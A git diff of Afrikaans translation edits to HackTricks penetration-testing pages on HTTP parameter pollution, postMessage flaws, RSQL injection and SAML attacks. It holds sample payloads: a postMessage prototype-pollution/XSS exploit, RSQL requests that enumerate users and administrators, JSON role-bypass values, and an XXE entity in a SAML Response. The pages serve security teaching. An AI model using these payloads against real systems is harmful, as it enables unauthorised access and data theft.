- Gereedskap soos [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help om hierdie tegnologieë en hul parsing gedrag te identifiseer.
|
||||
@ -31,28 +29,28 @@ Die transaksie mag verkeerdelik aan `accountC` in plaas van `accountA` gehef wor
|
||||
**OTP Manipulasie Geval:**
|
||||
|
||||
- **Konteks:** 'n Inlogmeganisme wat 'n Eenmalige Wagwoord (OTP) vereis, is uitgebuit.
|
||||
- **Metode:** Deur die OTP versoek te onderskep met behulp van gereedskap soos Burp Suite, het aanvallers die `email` parameter in die HTTP versoek gedupliceer.
|
||||
- **Uitkoms:** Die OTP, bedoel vir die aanvanklike e-pos, is in plaas daarvan na die tweede e-posadres in die gemanipeerde versoek gestuur. Hierdie fout het ongeoorloofde toegang moontlik gemaak deur die beoogde sekuriteitsmaatreël te omseil.
|
||||
- **Metode:** Deur die OTP versoek te onderskep met behulp van gereedskap soos Burp Suite, het aanvallers die `email` parameter in die HTTP versoek gedupliseer.
|
||||
- **Uitslag:** Die OTP, bedoel vir die aanvanklike e-pos, is in plaas daarvan na die tweede e-posadres in die gemanipeerde versoek gestuur. Hierdie fout het ongeoorloofde toegang moontlik gemaak deur die beoogde sekuriteitsmaatreël te omseil.
|
||||
|
||||
Hierdie scenario beklemtoon 'n kritieke oorsig in die toepassing se agterkant, wat die eerste `email` parameter vir OTP generasie verwerk het, maar die laaste vir aflewering gebruik het.
|
||||
Hierdie scenario beklemtoon 'n kritieke oorsig in die toepassing se agterkant, wat die eerste `email` parameter vir OTP-generasie verwerk het, maar die laaste vir aflewering gebruik het.
|
||||
|
||||
**API Sleutel Manipulasie Geval:**
|
||||
|
||||
- **Scenario:** 'n Toepassing laat gebruikers toe om hul API sleutel deur 'n profielinstellingsbladsy op te dateer.
|
||||
- **Aanval Vektor:** 'n Aanvaller ontdek dat deur 'n addisionele `api_key` parameter aan die POST versoek toe te voeg, hulle die uitkoms van die API sleutel opdateringsfunksie kan manipuleer.
|
||||
- **Tegniek:** Deur 'n gereedskap soos Burp Suite te gebruik, skep die aanvaller 'n versoek wat twee `api_key` parameters insluit: een wettig en een kwaadwillig. Die bediener, wat slegs die laaste voorkoms verwerk, werk die API sleutel na die aanvaller se verskafde waarde op.
|
||||
- **Resultaat:** Die aanvaller verkry beheer oor die slagoffer se API funksionaliteit, wat moontlik toegang tot of wysiging van private data ongeoorloofde kan maak.
|
||||
- **Scenario:** 'n Toepassing laat gebruikers toe om hul API-sleutel deur 'n profielinstellingsbladsy op te dateer.
|
||||
- **Aanval Vektor:** 'n Aanvaller ontdek dat deur 'n addisionele `api_key` parameter aan die POST versoek toe te voeg, hulle die uitkoms van die API-sleutel opdateringsfunksie kan manipuleer.
|
||||
- **Tegniek:** Deur 'n gereedskap soos Burp Suite te gebruik, skep die aanvaller 'n versoek wat twee `api_key` parameters insluit: een wettig en een kwaadwillig. Die bediener, wat slegs die laaste voorkoms verwerk, werk die API-sleutel na die aanvaller se verskafde waarde op.
|
||||
- **Resultaat:** Die aanvaller verkry beheer oor die slagoffer se API-funksionaliteit, wat moontlik toegang tot of wysiging van private data ongeoorloof maak.
|
||||
|
||||
Hierdie voorbeeld beklemtoon verder die noodsaaklikheid van veilige parameter hantering, veral in funksies so krities soos API sleutel bestuur.
|
||||
Hierdie voorbeeld beklemtoon verder die noodsaaklikheid van veilige parameterhantering, veral in funksies so krities soos API-sleutel bestuur.
|
||||
|
||||
### Parameter Parsing: Flask vs. PHP
|
||||
|
||||
Die manier waarop webtegnologieë duplikaat HTTP parameters hanteer, verskil, wat hul vatbaarheid vir HPP aanvalle beïnvloed:
|
||||
Die manier waarop webtegnologieë duplikaat HTTP parameters hanteer, verskil, wat hul kwesbaarheid vir HPP-aanvalle beïnvloed:
|
||||
|
||||
- **Flask:** Neem die eerste parameter waarde wat teëgekom word, soos `a=1` in 'n query string `a=1&a=2`, en prioritiseer die aanvanklike voorkoms bo daaropvolgende duplikate.
|
||||
- **PHP (op Apache HTTP Server):** Teenwoordig prioritiseer die laaste parameter waarde, wat kies vir `a=2` in die gegewe voorbeeld. Hierdie gedrag kan onbedoeld HPP exploits fasiliteer deur die aanvaller se gemanipeerde parameter bo die oorspronklike te eerbiedig.
|
||||
- **Flask:** Neem die eerste parameterwaarde wat teëgekom word, soos `a=1` in 'n vrae string `a=1&a=2`, en prioritiseer die aanvanklike voorkoms bo daaropvolgende duplikate.
|
||||
- **PHP (op Apache HTTP Server):** Daarenteen prioritiseer die laaste parameterwaarde, wat kies vir `a=2` in die gegewe voorbeeld. Hierdie gedrag kan onbedoeld HPP-uitbuitings fasiliteer deur die aanvaller se gemanipeerde parameter bo die oorspronklike te eerbiedig.
|
||||
|
||||
## Parameter besoedeling deur tegnologie
|
||||
## Parameterbesoedeling volgens tegnologie
|
||||
|
||||
Daar resultate is geneem van [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||
|
||||
@ -81,7 +79,7 @@ Daar resultate is geneem van [https://medium.com/@0xAwali/http-parameter-polluti
|
||||
2. POST RequestMapping & PostMapping Erken naam\[].
|
||||
3. Gee voorkeur aan naam as naam EN naam\[] bestaan.
|
||||
4. Koppel parameters byvoorbeeld eerste, laaste.
|
||||
5. POST RequestMapping & PostMapping Erken query parameter met Content-Type.
|
||||
5. POST RequestMapping & PostMapping Erken vrae parameter met Content-Type.
|
||||
|
||||
### **NodeJS** 20.17.0 **EN** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||
|
||||
@ -144,19 +142,19 @@ Dit kan ook gebruik word om waardebeperkings te omseil soos:
|
||||
{"role": "administrator""}
|
||||
{"role": "admini\strator"}
|
||||
```
|
||||
### **Gebruik van Kommentaar Afkorting**
|
||||
### **Gebruik van Kommentaarafsnijding**
|
||||
```ini
|
||||
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
|
||||
```
|
||||
Hier sal ons die serialiseerder van elke parser gebruik om sy onderskeie uitvoer te sien.
|
||||
|
||||
Serialiseerder 1 (bv. GoLang se GoJay biblioteek) sal produseer:
|
||||
Serializer 1 (bv. GoLang se GoJay biblioteek) sal produseer:
|
||||
|
||||
- `description = "Duplicate with comments"`
|
||||
- `test = 2`
|
||||
- `extra = ""`
|
||||
|
||||
Serialiseerder 2 (bv. Java se JSON-iterator biblioteek) sal produseer:
|
||||
Serializer 2 (bv. Java se JSON-iterator biblioteek) sal produseer:
|
||||
|
||||
- `description = "Duplicate with comments"`
|
||||
- `extra = "/*"`
|
||||
@ -188,7 +186,7 @@ Die nommer
|
||||
```undefined
|
||||
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
|
||||
```
|
||||
kan na verskeie voorstellings gedecodeer word, insluitend:
|
||||
kan gedecodeer word na verskeie verteenwoordigings, insluitend:
|
||||
```undefined
|
||||
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
|
||||
9.999999999999999e95
|
||||
|
@ -1,7 +1,5 @@
|
||||
# PostMessage Kw vulnerabilities
|
||||
|
||||
## PostMessage Kw vulnerabilities
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Stuur **PostMessage**
|
||||
@ -76,7 +74,7 @@ Let wel in hierdie geval hoe die **eerste ding** wat die kode doen is **om die o
|
||||
Om **gebeurtenisluisteraars** in die huidige bladsy te **vind**, kan jy:
|
||||
|
||||
- **Soek** die JS-kode vir `window.addEventListener` en `$(window).on` (_JQuery weergawe_)
|
||||
- **Voer** in die ontwikkelaarstoele console in: `getEventListeners(window)`
|
||||
- **Voer** in die ontwikkelaarstoele console uit: `getEventListeners(window)`
|
||||
|
||||
 (1).png>)
|
||||
|
||||
@ -89,19 +87,19 @@ Om **gebeurtenisluisteraars** in die huidige bladsy te **vind**, kan jy:
|
||||
### Oorsprong kontroleer omseilings
|
||||
|
||||
- **`event.isTrusted`** attribuut word as veilig beskou aangesien dit `True` slegs teruggee vir gebeurtenisse wat deur werklike gebruikersaksies gegenereer word. Alhoewel dit uitdagend is om te omseil as dit korrek geïmplementeer is, is die belangrikheid daarvan in sekuriteitskontroles noemenswaardig.
|
||||
- Die gebruik van **`indexOf()`** vir oorsprong validasie in PostMessage gebeurtenisse mag vatbaar wees vir omseiling. 'n Voorbeeld wat hierdie kwesbaarheid illustreer is:
|
||||
- Die gebruik van **`indexOf()`** vir oorsprong validasie in PostMessage gebeurtenisse mag vatbaar wees vir omseilings. 'n Voorbeeld wat hierdie kwesbaarheid illustreer is:
|
||||
|
||||
```javascript
|
||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||||
```
|
||||
|
||||
- Die **`search()`** metode van `String.prototype.search()` is bedoel vir gereelde uitdrukkings, nie stringe nie. Om enigiets anders as 'n regexp deur te gee lei tot implisiete omskakeling na regex, wat die metode potensieel onveilig maak. Dit is omdat in regex, 'n punt (.) as 'n wildcard optree, wat omseiling van validasie met spesiaal saamgestelde domeine moontlik maak. Byvoorbeeld:
|
||||
- Die **`search()`** metode van `String.prototype.search()` is bedoel vir gereelde uitdrukkings, nie strings nie. Om enigiets anders as 'n regexp deur te gee lei tot implisiete omskakeling na regex, wat die metode potensieel onveilig maak. Dit is omdat in regex, 'n punt (.) as 'n wildcard optree, wat omseiling van validasie met spesiaal saamgestelde domeine moontlik maak. Byvoorbeeld:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
|
||||
- Die **`match()`** funksie, soortgelyk aan `search()`, verwerk regex. As die regex verkeerd gestruktureer is, mag dit vatbaar wees vir omseiling.
|
||||
- Die **`match()`** funksie, soortgelyk aan `search()`, verwerk regex. As die regex verkeerd gestruktureer is, mag dit vatbaar wees vir omseilings.
|
||||
- Die **`escapeHtml`** funksie is bedoel om insette te saniteer deur karakters te ontsnap. Dit skep egter nie 'n nuwe ontsnapte objek nie, maar oorskryf die eienskappe van die bestaande objek. Hierdie gedrag kan uitgebuit word. Veral, as 'n objek gemanipuleer kan word sodat sy beheerde eienskap nie `hasOwnProperty` erken nie, sal die `escapeHtml` nie soos verwag werk nie. Dit word in die voorbeelde hieronder gedemonstreer:
|
||||
|
||||
- Verwachte Faal:
|
||||
@ -120,7 +118,7 @@ result = u(new Error("'\"<b>\\"))
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
In die konteks van hierdie kwesbaarheid, is die `File` objek merkwaardig uitbuitbaar weens sy leesbare `name` eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie gesaniteer deur die `escapeHtml` funksie nie, wat lei tot potensiële sekuriteitsrisiko's.
|
||||
In die konteks van hierdie kwesbaarheid is die `File` objek merkwaardig uitbuitbaar weens sy leesbare `name` eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie deur die `escapeHtml` funksie gesaniteer nie, wat tot potensiële sekuriteitsrisiko's lei.
|
||||
|
||||
- Die `document.domain` eienskap in JavaScript kan deur 'n skrip gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouer domein moontlik maak.
|
||||
|
||||
@ -128,9 +126,9 @@ In die konteks van hierdie kwesbaarheid, is die `File` objek merkwaardig uitbuit
|
||||
|
||||
Wanneer 'n webblad binne 'n **sandboxed iframe** ingebed word met %%%%%%, is dit belangrik om te verstaan dat die iframe se oorsprong op null gestel sal word. Dit is veral belangrik wanneer daar met **sandbox eienskappe** en hul implikasies op sekuriteit en funksionaliteit gewerk word.
|
||||
|
||||
Deur **`allow-popups`** in die sandbox eienskap spesifiek te maak, erf enige pop-up venster wat vanuit die iframe geopen word die sandbox beperkings van sy ouer. Dit beteken dat tensy die **`allow-popups-to-escape-sandbox`** eienskap ook ingesluit is, die pop-up venster se oorsprong ook op `null` gestel word, wat ooreenstem met die iframe se oorsprong.
|
||||
Deur **`allow-popups`** in die sandbox eienskap te spesifiseer, erf enige pop-up venster wat vanuit die iframe geopen word die sandbox beperkings van sy ouer. Dit beteken dat tensy die **`allow-popups-to-escape-sandbox`** eienskap ook ingesluit is, die pop-up venster se oorsprong ook op `null` gestel word, wat ooreenstem met die iframe se oorsprong.
|
||||
|
||||
Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met **`postMessage`**, het beide die sender en ontvanger se oorspronge op `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** waar is (`null == null`), omdat beide die iframe en die pop-up die selfde oorsprong waarde van `null` deel.
|
||||
Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met **`postMessage`**, het beide die sending en ontvangende kante hul oorspronge op `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** waar is (`null == null`), omdat beide die iframe en die pop-up die selfde oorsprong waarde van `null` deel.
|
||||
|
||||
Vir meer inligting **lees**:
|
||||
|
||||
@ -157,37 +155,37 @@ bypassing-sop-with-iframes-2.md
|
||||
|
||||
### X-Frame-Header omseiling
|
||||
|
||||
Om hierdie aanvalle uit te voer, sal u idealiter in staat wees om die **slagoffer se webblad** binne 'n `iframe` te plaas. Maar sommige headers soos `X-Frame-Header` kan daardie **gedrag** **voorkom**.\
|
||||
In daardie scenario's kan u steeds 'n minder stealthy aanval gebruik. U kan 'n nuwe oortjie oopmaak na die kwesbare webtoepassing en daarmee kommunikeer:
|
||||
Om hierdie aanvalle uit te voer, sal jy idealiter in staat wees om die **slagoffer webblad** binne 'n `iframe` te plaas. Maar sommige headers soos `X-Frame-Header` kan daardie **gedrag** **voorkom**.\
|
||||
In daardie scenario's kan jy steeds 'n minder stealthy aanval gebruik. Jy kan 'n nuwe oortjie oopmaak na die kwesbare webtoepassing en met dit kommunikeer:
|
||||
```html
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
</script>
|
||||
```
|
||||
### Stealing message sent to child by blocking the main page
|
||||
### Diefstal van boodskap wat na kind gestuur is deur die hoofblad te blokkeer
|
||||
|
||||
In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:
|
||||
In die volgende bladsy kan jy sien hoe jy 'n **sensitiewe postmessage data** wat na 'n **kind iframe** gestuur is, kan steel deur die **hoof** blad te **blokkeer** voordat die data gestuur word en 'n **XSS in die kind** te **misbruik** om die data te **lek** voordat dit ontvang word:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
{{#endref}}
|
||||
|
||||
### Stealing message by modifying iframe location
|
||||
### Diefstal van boodskap deur iframe ligging te verander
|
||||
|
||||
If you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
|
||||
As jy 'n webblad kan iframe sonder X-Frame-Header wat 'n ander iframe bevat, kan jy die **ligging van daardie kind iframe** **verander**, so as dit 'n **postmessage** ontvang wat met 'n **wildcard** gestuur is, kan 'n aanvaller daardie iframe **oorsprong** na 'n bladsy **onder sy beheer** **verander** en die boodskap **steel**:
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
### postMessage to Prototype Pollution and/or XSS
|
||||
### postMessage na Prototype Pollution en/of XSS
|
||||
|
||||
In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
|
||||
In scenario's waar die data wat deur `postMessage` gestuur word, deur JS uitgevoer word, kan jy die **bladsy** **iframe** en die **prototype pollution/XSS** **misbruik** deur die eksploiet via `postMessage` te stuur.
|
||||
|
||||
A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
'n Paar **baie goed verduidelikde XSS deur `postMessage`** kan gevind word in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
|
||||
Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
|
||||
Voorbeeld van 'n eksploiet om **Prototype Pollution en dan XSS** deur 'n `postMessage` na 'n `iframe` te misbruik:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -216,7 +214,7 @@ Vir **meer inligting**:
|
||||
|
||||
- Skakel na bladsy oor [**prototype besoedeling**](../deserialization/nodejs-proto-prototype-pollution/index.html)
|
||||
- Skakel na bladsy oor [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- Skakel na bladsy oor [**kliëntkant prototype besoedeling na XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- Skakel na bladsy oor [**klantkant prototype besoedeling na XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -1,16 +1,12 @@
|
||||
# RSQL Injection
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
## Wat is RSQL?
|
||||
RSQL is 'n navraagtaal wat ontwerp is vir geparametriseerde filtrering van insette in RESTful APIs. Gebaseer op FIQL (Feed Item Query Language), oorspronklik gespesifiseer deur Mark Nottingham vir die navraag van Atom feeds, val RSQL op vir sy eenvoud en vermoë om komplekse navrae op 'n kompakte en URI-konforme manier oor HTTP uit te druk. Dit maak dit 'n uitstekende keuse as 'n algemene navraagtaal vir REST eindpunt soektogte.
|
||||
RSQL is 'n navraagtaal wat ontwerp is vir geparametriseerde filtrering van insette in RESTful APIs. Gebaseer op FIQL (Feed Item Query Language), oorspronklik gespesifiseer deur Mark Nottingham vir die navraag van Atom feeds, is RSQL bekend vir sy eenvoud en vermoë om komplekse navrae op 'n kompakte en URI-konforme manier oor HTTP uit te druk. Dit maak dit 'n uitstekende keuse as 'n algemene navraagtaal vir REST eindpunt soektogte.
|
||||
|
||||
## Oorsig
|
||||
RSQL Injection is 'n kwesbaarheid in webtoepassings wat RSQL as 'n navraagtaal in RESTful APIs gebruik. Soos [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) en [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), gebeur hierdie kwesbaarheid wanneer RSQL filters nie behoorlik gesaniteer word nie, wat 'n aanvaller toelaat om kwaadwillige navrae in te voeg om data sonder toestemming te verkry, te wysig of te verwyder.
|
||||
RSQL Injection is 'n kwesbaarheid in webtoepassings wat RSQL as 'n navraagtaal in RESTful APIs gebruik. Soos [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) en [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), gebeur hierdie kwesbaarheid wanneer RSQL-filtre nie behoorlik gesuiwer word nie, wat 'n aanvaller toelaat om kwaadwillige navrae in te voeg om data sonder toestemming te bekom, te wysig of te verwyder.
|
||||
|
||||
## Hoe werk dit?
|
||||
RSQL laat jou toe om gevorderde navrae in RESTful APIs te bou, byvoorbeeld:
|
||||
@ -28,9 +24,9 @@ Of selfs voordeel trek om sensitiewe inligting te onttrek met Boolean-vrae of ge
|
||||
## Risiko's
|
||||
- **Blootstelling van sensitiewe data:** 'n Aanvaller kan inligting terugkry wat nie toeganklik behoort te wees nie.
|
||||
- **Data-wijziging of -verwydering:** Inspuiting van filters wat databasisrekords verander.
|
||||
- **Privilegie-eskalasie:** Manipulasie van identifiseerders wat rolle toeken deur filters om die aansoek te mislei deur toegang te verkry met die voorregte van ander gebruikers.
|
||||
- **Privilegie-eskalasie:** Manipulasie van identifiseerders wat rolle toeken deur filters om die toepassing te mislei deur toegang te verkry met die voorregte van ander gebruikers.
|
||||
- **Ontduiking van toegangbeheer:** Manipulasie van filters om toegang tot beperkte data te verkry.
|
||||
- **Vervalsing of IDOR:** Wysiging van identifiseerders tussen gebruikers deur filters wat toegang tot inligting en hulpbronne van ander gebruikers toelaat sonder om behoorlik as sulks geverifieer te wees.
|
||||
- **Vervalsing of IDOR:** Wysiging van identifiseerders tussen gebruikers deur filters wat toegang tot inligting en hulpbronne van ander gebruikers toelaat sonder om behoorlik as sodanig geverifieer te wees.
|
||||
|
||||
## Gesteunde RSQL-operateurs
|
||||
| Operateur | Beskrywing | Voorbeeld |
|
||||
@ -125,7 +121,7 @@ Content-Length: 85
|
||||
}]
|
||||
}
|
||||
```
|
||||
Alhoewel 'n `/api/registrations?email=<emailAccount>` verwag word, is dit moontlik om RSQL-filters te gebruik om te probeer om gebruikersinligting te enumerate en/of uit te trek deur die gebruik van spesiale operateurs:
|
||||
Alhoewel 'n `/api/registrations?email=<emailAccount>` verwag word, is dit moontlik om RSQL-filters te gebruik om te probeer om gebruikersinligting te enumerate en/of te onttrek deur die gebruik van spesiale operateurs:
|
||||
### Request
|
||||
```
|
||||
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
|
||||
@ -348,7 +344,7 @@ Access-Control-Allow-Origin: *
|
||||
"data": []
|
||||
}
|
||||
```
|
||||
Gebruik sekere operators kan ons administrateur gebruikers opnoem:
|
||||
Deur sekere operators te gebruik, kan ons administrateur gebruikers opnoem:
|
||||
### Versoek
|
||||
```
|
||||
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||
@ -572,6 +568,6 @@ Access-Control-Allow-Origin: *
|
||||
```
|
||||
## Verwysings
|
||||
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
|
||||
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
|
||||
- [RSQL Injection Exploitatie](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,5 @@
|
||||
# SAML-aanvalle
|
||||
|
||||
## SAML-aanvalle
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese Inligting
|
||||
@ -16,7 +14,7 @@ saml-basics.md
|
||||
|
||||
## XML rondreis
|
||||
|
||||
In XML word die onderteken deel van die XML in geheue gestoor, dan word daar 'n paar kodering/ontkodering uitgevoer en die handtekening word nagegaan. Ideaal gesproke behoort daardie kodering/ontkodering nie die data te verander nie, maar gebaseer op daardie scenario, **kan die data wat nagegaan word en die oorspronklike data nie dieselfde wees nie**.
|
||||
In XML word die onderteken deel van die XML in geheue gestoor, dan word daar 'n paar kodering/dekodering uitgevoer en die handtekening word nagegaan. Ideaal gesproke behoort daardie kodering/dekodering nie die data te verander nie, maar gebaseer op daardie scenario, **kan die data wat nagegaan word en die oorspronklike data nie dieselfde wees nie**.
|
||||
|
||||
Byvoorbeeld, kyk na die volgende kode:
|
||||
```ruby
|
||||
@ -42,7 +40,7 @@ Dit is hoe REXML die oorspronklike XML-dokument van die program hierbo gesien he
|
||||
|
||||
.png>)
|
||||
|
||||
En dit is hoe dit gesien is na 'n ronde van parsering en serialisering:
|
||||
En dit is hoe dit gesien is na 'n ronde van pars en serialisering:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -53,7 +51,7 @@ Vir meer inligting oor die kwesbaarheid en hoe om dit te misbruik:
|
||||
|
||||
## XML Handtekening Wrapping Aanvalle
|
||||
|
||||
In **XML Handtekening Wrapping aanvalle (XSW)**, benut teenstanders 'n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee verskillende fases verwerk word: **handtekening validasie** en **funksie aanroep**. Hierdie aanvalle behels die verandering van die XML-dokumentstruktuur. Spesifiek, die aanvaller **injekteer vervalste elemente** wat nie die geldigheid van die XML Handtekening benadeel nie. Hierdie manipulasie is daarop gemik om 'n discrepansie te skep tussen die elemente wat deur die **toepassing logika** geanaliseer word en diegene wat deur die **handtekening verifikasie module** nagegaan word. As gevolg hiervan, terwyl die XML Handtekening tegnies geldig bly en verifikasie slaag, verwerk die toepassing logika die **bedrogspul elemente**. Gevolglik omseil die aanvaller effektief die XML Handtekening se **integriteit beskerming** en **oorsprong verifikasie**, wat die **injektering van arbitrêre inhoud** sonder opsporing moontlik maak.
|
||||
In **XML Handtekening Wrapping aanvalle (XSW)**, benut teenstanders 'n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee verskillende fases verwerk word: **handtekening validasie** en **funksie aanroep**. Hierdie aanvalle behels die verandering van die XML-dokumentstruktuur. Spesifiek, die aanvaller **voeg vervalste elemente in** wat nie die geldigheid van die XML Handtekening benadeel nie. Hierdie manipulasie is daarop gemik om 'n discrepansie te skep tussen die elemente wat deur die **toepassing logika** geanaliseer word en diegene wat deur die **handtekening verifikasie module** nagegaan word. As gevolg hiervan, terwyl die XML Handtekening tegnies geldig bly en verifikasie slaag, verwerk die toepassing logika die **bedrogspul elemente**. Gevolglik omseil die aanvaller effektief die XML Handtekening se **integriteit beskerming** en **oorsprong verifikasie**, wat die **inspuiting van arbitrêre inhoud** sonder opsporing moontlik maak.
|
||||
|
||||
Die volgende aanvalle is gebaseer op [**hierdie blogpos**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **en** [**hierdie papier**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So kyk na daardie vir verdere besonderhede.
|
||||
|
||||
@ -97,21 +95,21 @@ Die volgende aanvalle is gebaseer op [**hierdie blogpos**](https://epi052.gitlab
|
||||
- **Strategie**: Soortgelyke ligging insetting soos XSW #4 en #5, maar met 'n draai.
|
||||
- **Implikasie**: Die gekopieerde Assertion omhul die Handtekening, wat dan die oorspronklike Assertion omhul, wat 'n geneste misleidende struktuur skep.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #7
|
||||
|
||||
- **Strategie**: 'n Extensions element word ingevoeg met die gekopieerde Assertion as 'n kind.
|
||||
- **Implikasie**: Dit benut die minder beperkende skema van die Extensions element om skema validasie teenmaatreëls te omseil, veral in biblioteke soos OpenSAML.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #8
|
||||
|
||||
- **Verskil van XSW #7**: Gebruik 'n ander minder beperkende XML element vir 'n variasie van die aanval.
|
||||
- **Verskil van XSW #7**: Gebruik 'n ander minder beperkende XML element vir 'n variant van die aanval.
|
||||
- **Implikasie**: Die oorspronklike Assertion word 'n kind van die minder beperkende element, wat die struktuur wat in XSW #7 gebruik is, omkeer.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### Gereedskap
|
||||
|
||||
@ -125,7 +123,7 @@ As jy nie weet watter soort aanvalle XXE is nie, lees asseblief die volgende bla
|
||||
../xxe-xee-xml-external-entity.md
|
||||
{{#endref}}
|
||||
|
||||
SAML Antwoorde is **ontplofte en base64-gecodeerde XML-dokumente** en kan kwesbaar wees vir XML Eksterne Entiteit (XXE) aanvalle. Deur die XML-struktuur van die SAML Antwoord te manipuleer, kan aanvallers probeer om XXE kwesbaarhede te benut. Hier is hoe so 'n aanval visueel voorgestel kan word:
|
||||
SAML Responses is **ontplofte en base64-gecodeerde XML-dokumente** en kan kwesbaar wees vir XML External Entity (XXE) aanvalle. Deur die XML-struktuur van die SAML Response te manipuleer, kan aanvallers probeer om XXE kwesbaarhede te benut. Hier is hoe so 'n aanval visueel voorgestel kan word:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -145,7 +143,7 @@ SAML Antwoorde is **ontplofte en base64-gecodeerde XML-dokumente** en kan kwesba
|
||||
```
|
||||
## Tools
|
||||
|
||||
Jy kan ook die Burp uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die POC te genereer vanaf 'n SAML versoek om te toets vir moontlike XXE kwesbaarhede en SAML kwesbaarhede.
|
||||
Jy kan ook die Burp uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die POC te genereer vanaf 'n SAML versoek om moontlike XXE kwesbaarhede en SAML kwesbaarhede te toets.
|
||||
|
||||
Kyk ook na hierdie praatjie: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
@ -157,9 +155,9 @@ Vir meer inligting oor XSLT, gaan na:
|
||||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente in verskeie formate soos HTML, JSON of PDF te transformeer. Dit is belangrik om te noem dat **XSLT-transformasies uitgevoer word voordat die digitale handtekening geverifieer word**. Dit beteken dat 'n aanval suksesvol kan wees selfs sonder 'n geldige handtekening; 'n self-ondertekende of ongeldige handtekening is voldoende om voort te gaan.
|
||||
Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente in verskeie formate soos HTML, JSON of PDF te transformeer. Dit is belangrik om te noem dat **XSLT-transformasies uitgevoer word voordat die verifikasie van die digitale handtekening plaasvind**. Dit beteken dat 'n aanval suksesvol kan wees selfs sonder 'n geldige handtekening; 'n self-ondertekende of ongeldige handtekening is voldoende om voort te gaan.
|
||||
|
||||
